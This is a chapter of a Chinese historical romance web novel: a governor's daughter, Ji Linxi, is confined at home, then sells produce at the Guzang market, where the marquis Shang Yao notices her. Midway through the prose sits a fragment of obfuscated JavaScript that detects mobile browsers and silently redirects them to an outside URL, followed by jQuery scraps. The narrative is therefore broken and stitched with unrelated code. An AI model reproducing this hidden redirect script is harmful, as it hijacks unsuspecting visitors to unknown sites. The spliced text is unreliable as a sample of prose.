姬临溪回到索然无味但风平浪静的生活。
姬昱说到做到,不许她再出门乱逛,甚至请了女夫子来教礼仪,不过没几日被姬临溪捉的毛虫气走了;又请绣娘来量裁新衣,做了一身月青厚襦紫曳地裙和一身深赭夹袄骑装。
一日午后,竹简盖在脸上,躺在窗下小睡。
“庖厨煮了黄芪汤。”李芝兰敲开门,“天气凉了,你父亲说,让你去前屋送一盅。”
姬临溪当作没听见,翻了个身。
“翩翩——”
“他不会喝的。”临溪瓮声瓮气,“阿母,别费力气了。他是真的说过不找我麻烦了。”
“气话而已。”李芝兰并不信,“你去试试。”
“这么说吧。”临溪抬手捂住耳朵,“如若他出尔反尔,我看不起他;若他本就是为跟我经营男女间那些你来我往,我更不接招。谁稀罕?有这时间,饭都多吃一碗。”
李芝兰逼不动,催促姬昱从商曜那边下手。
不想回应是一样的。姬昱请他来家中用饭,被一口回绝,提及临溪,毫无反馈,托词替小女冒失道歉,对方只道,事情过去了。
姬昱就差直接问,你究竟看上我女儿否?但连饭都不吃面也不见,成日领着人往返于凉州营与各部衙署之间,没有一丁点需要红袖添香的意思,答案似乎浮出水面。
久而久之,连李芝兰都开始心里打鼓。
再去劝姬临溪,然而一进后院,羽箭嗖嗖射出去,准头倒是越来越好,吓得她往后退。
晚间,一家人围坐用饭。
“我原以为君侯年纪小,又是武将出身,大约通伐不通治。”姬昱对着李芝兰道,“不想聊起农耕屯田,豫州近几十年黄河改道之祸记得清清楚楚,可见背后是下过极大功夫的,肯学就好。”
姬临溪把整罐青菜豆腐汤抱过去,直接端起陶罐大口大口地喝,没有一点反应。
姬昱就皱眉了。
李芝兰轻咳一声:“翩翩,注意礼节。”
临溪砰地将陶罐放下:“成日闷在房里,有谁看得到?”
“我不是非要关着你。”姬昱拧着眉道,“我是让你自己上点心。近日君侯每天都在见人,有时那简牍一看就是六七个时辰,分明是急着回晋阳了……”
临溪眼睛瞬间一亮:“当真?”
夫妻二人无言对视。
“翩翩。”还是李芝兰主动问,“为何不愿意呢?不肯远嫁吗?”
“非也。”临溪使劲摇头,“如果是我自己选了又真心喜欢的人,南海我也去。晋阳算什么远?”
“你连他都不喜欢,”李芝兰无可奈何,“你以后能喜欢谁?”
“阿母说的什么话。”姬临溪怪道,“如果是我喜欢的,他一无所有我也喜欢;我不喜欢的,他坐拥天下我也不喜欢。”
“竞初不行。”姬昱以方巾拭一拭嘴,加重语气,“我再跟你说一回,趁早死了这条心。年岁太不合适。”
临溪心里如针戳般细密痛了一痛,故作无所谓道:“本来就没想过。”
忍不住讥讽:“你们别以为他把凉州打下来,凉州就永远是他的了。兴许哪一日什么益州洛阳也来人抢,又去求荀将军娶我——不过是了,这回可以直接去信晋阳寻求庇护,让我给人家做妾!”
丢下方巾,起身就走。
李芝兰也吃不下了,思考片刻,自以为发现症结:“她还是怕做妾。”
姬昱也这样想。其实他也担心,如果是做妾,他又宁愿将临溪留在身边了。但真是没有一点胆量去问这事,更不能试探商曜。
“实在不愿意,还是算了。”李芝兰忽然道,“勉强有什么意思?且君侯也不是什么容易说动之人。一时起兴,或许当不得真。”
姬昱揉住眉心。
次日,临溪再去推偏门,果然打开了。
李芝兰眼睁睁看着,小女整张脸陡然一乐,半分犹豫也没有,转身去抓起剑背好,张开双手,欢天喜地跳出去也。
她叹了气,又莫名笑一笑。
临溪快步至武堂,赵夫人外出访友,只几位小厮正在洒扫,问清轻鸿和女使去市集卖瓜果了,掉头赶过去。
以前从没觉得姑臧市集这样讨喜,接了个果子咬着,一路过去都是相熟面庞和声音,笑问女公子被放出来了?可见使君心软。
临溪抬着手打招呼,剑鞘一晃一落。赭石骑装线条收紧,贴走肩骨腰身,从交领至脚踝又都是满目的红,衬得少女分外修长利落。
穆轻鸿正在将一众果蔬搬下犊板车,堆上木架,脸上是即将发财的喜悦——胡瓜,苜蓿,安石榴,这都是胡货,没几家有,不愁卖。
几袋胡瓜没放稳,要落不落,滚下就会砸到轻鸿脑袋。姬临溪眼尖,猛地踩上一只胡床借力,纵身落在木架之前,抬手撑回胡瓜,眉眼弯弯:“我来也。”
轻鸿惊喜:“使君不生气了?”
“他拿我有什么办法啊。”临溪拍拍手,随口道,“穆娘子,你这是要赚多少钱?”
“钱不嫌多。”轻鸿抬起一根食指,“待阿父阿兄从上郡归来,拿到这笔佣金,我家预计再开一家缣帛肆,多招几位绣娘,又卖布匹又卖成衣,不愁不发财的。”
临溪不由羡慕:“这次佣金很多吗?”
“可多了。”轻鸿一边拍平招幌,一边解释,“匈奴人喜欢冬天作乱抢东西,走镖就可以起价。如果物件贵重,翻三倍也不奇怪。”
“原来如此。”临溪选了一只胡床坐下,懒洋洋吆喝,“西域胡瓜!上好的西域胡瓜!”
见一络腮胡人停下,又改口:“郎君是远道差旅而来?那看看苜蓿,马儿可喜欢了!上好的饲料。”
刺史府堂屋内,姬昱正手心冒汗。邬逊近两日领着人翻算赋税,竹简一车车运进运出,最后指着“修宫费”和“导行费”,问他这些钱粮去了哪里。
其实没什么不能说,是他不大想说。默然片刻,邬逊就凉凉道:“在洛阳了。”
姬昱脸上挂不住,只好道:“近年确实有些附加税目,君侯若想薄免,也要明年才好施行。”
“免。”商曜微微皱眉,讽道,“竟还有马口钱和刍犒税。怎不在凉州收海渔税?”
邬逊没忍住,捋着胡须失笑。外头刺史府守卫并足行礼,高声回:“使君!一位名叫郭涉的郎君求见,称是使君旧识。”
姬昱脸色猛地一变,隐隐竟有些透出些僵直之色。含含糊糊告辞,转身快步去迎。
商曜多看了一眼,目光示意一旁桑烨。桑烨会意,开门出去。
日昳时分,监管市税贸易的姑臧市长前来,说这两日有大秦商队抵达姑臧,可陪同君侯观市。
韩朔两眼放光:“少主公,去看看!姑臧市集可比晋阳的有意思!”
姑臧乃西域道必经之地,各国胡商络绎不绝,与并州冀州等地市集有所不同。自武帝张骞开拓河西,缯帛贸易的繁盛程度虽受战乱波及,但基本连绵不绝。
市长、市掾和几位市啬夫在前,趁今日定例巡视,领着几人检阅市集。韩朔左看看右看看,对着琉璃珠子各色编织很是新奇:“少主公,我们给老夫人和两位翁主买些礼物吧?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15962411|177702||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>商曜应了一声好。
“这就是西域细毡。”韩朔啧啧,“少主公,晋阳贵族那时争相炫耀的西域细毡。听说洛阳世妇也在家里挂。”
“不错。”市长笑着上前道,“都是从安息大秦等国传来的上好挂毯。将军若喜欢,拿几条回去赠与晋阳诸位夫人就是。”
韩朔理直气壮去抱,店主看一眼市长,虽不知另外这几人身份,到底敢怒不敢言。
商曜一按韩朔肩下,简短道:“予钱。”
韩朔摸了摸鼻尖。
再往前走,乍然听见耳熟声线:“胡瓜!苜蓿!蒲桃!小娘子,吃不吃蒲桃?叫你家郎君给你买。”
“什么我家郎君啦——”
姬临溪抓了两条胡瓜在手里晃,正笑眯眯招揽时,忽然感觉周身一凉。警惕向四周看去,果然对上那张可恨脸庞,眉眼一如既往冷峻。
韩朔暗叫不好。
这女公子今日漂亮得太过头了!
他以前觉得她个子小小,但今日着女式骑装,从颈到脚只一整件长衣,针织带收拢着纤细腰身,又是醒目的赭石颜色,将她包裹出又明媚又飒沓的色彩。
最独到是那处同心辫。或许是为干活方便,未梳发髻,只将青丝三股分绺,交错绑成又漆黑又粗实的一道辫,从右肩单侧垂落。
五官全然露着,光洁饱满,双眼如月。骨骼轮廓挺立而向内窄,更有鼻梁高耸,抬起下巴时,像一座巧妙精细小山脉。
这就漂亮得太过头了。
韩朔偷偷去看少主公脸色,见他虽未失态,但那眸光凝固,一眨不眨,心下猛地直觉不妙。
临溪看到市长和市掾,知道这是巡视市集来了,撇一撇嘴,只当不识。不想韩朔笨手笨脚跑过来,指着胡瓜粗声问:“这是什么?”
“胡瓜。”临溪没好气,“你要不要?不要别挡着我做生意。”
“怎么不要了?”韩朔挺胸,“这个怎么吃?”
姬临溪头也不抬:“生吃。”
韩朔以为她讥讽自己是北地野人,立刻叉腰:“女公子这话是何意?你是觉得,我并州儿郎都是茹毛饮血之辈?”
穆轻鸿张了张嘴欲解释,韩朔又不服气道:“这话洛阳人说也就算了!凉州人凭什么也说呀?”
临溪望天,最后抽出一条最干净的,去屋后水缸仔细洗了一遍,折返回来,当着韩朔面,咬下一口。
随后拿开胡瓜,耸肩反问:“懂了?‘生吃’。”
轻鸿憋笑。几位官员都笑了,这才上前,拱手见礼:“女公子。”姬使君的女儿,他们不至于认不出。
临溪颔首还礼,又抬下巴看向韩朔:“凉州人怎么了?我姑臧富邑,通货羌胡,市日四合,比晋阳市集可不知好多少。”
见韩朔黑脸涨红,那位又沉默站在一旁,不耐烦道:“好了没有?要买就快些,别拦我赚钱。”
正巧有一羌人牵马前来,询问轻鸿苜蓿价格。这人没带译者,支支吾吾半晌,轻鸿还是听不懂,连忙踮脚:“翩翩!”
“来了。”临溪跳过去,利落改用羌人语言,“你要多少?一束五十钱,两束九十。”
那羌人明显松口气,二人针对产地用量,一问一答。不知对面说了什么俏皮话,姬临溪双手作花瓣状,开在下颌两侧,眉眼弯弯。
轻鸿不经意抬头,那位气度不凡的玄服男子原本一直安静站在那个黑脸粗人身后,这时目光定定,凝望临溪。
神情恰好映入她眼帘。
分明面无表情,但又真是极为明显、藏也藏不住的——
欣赏。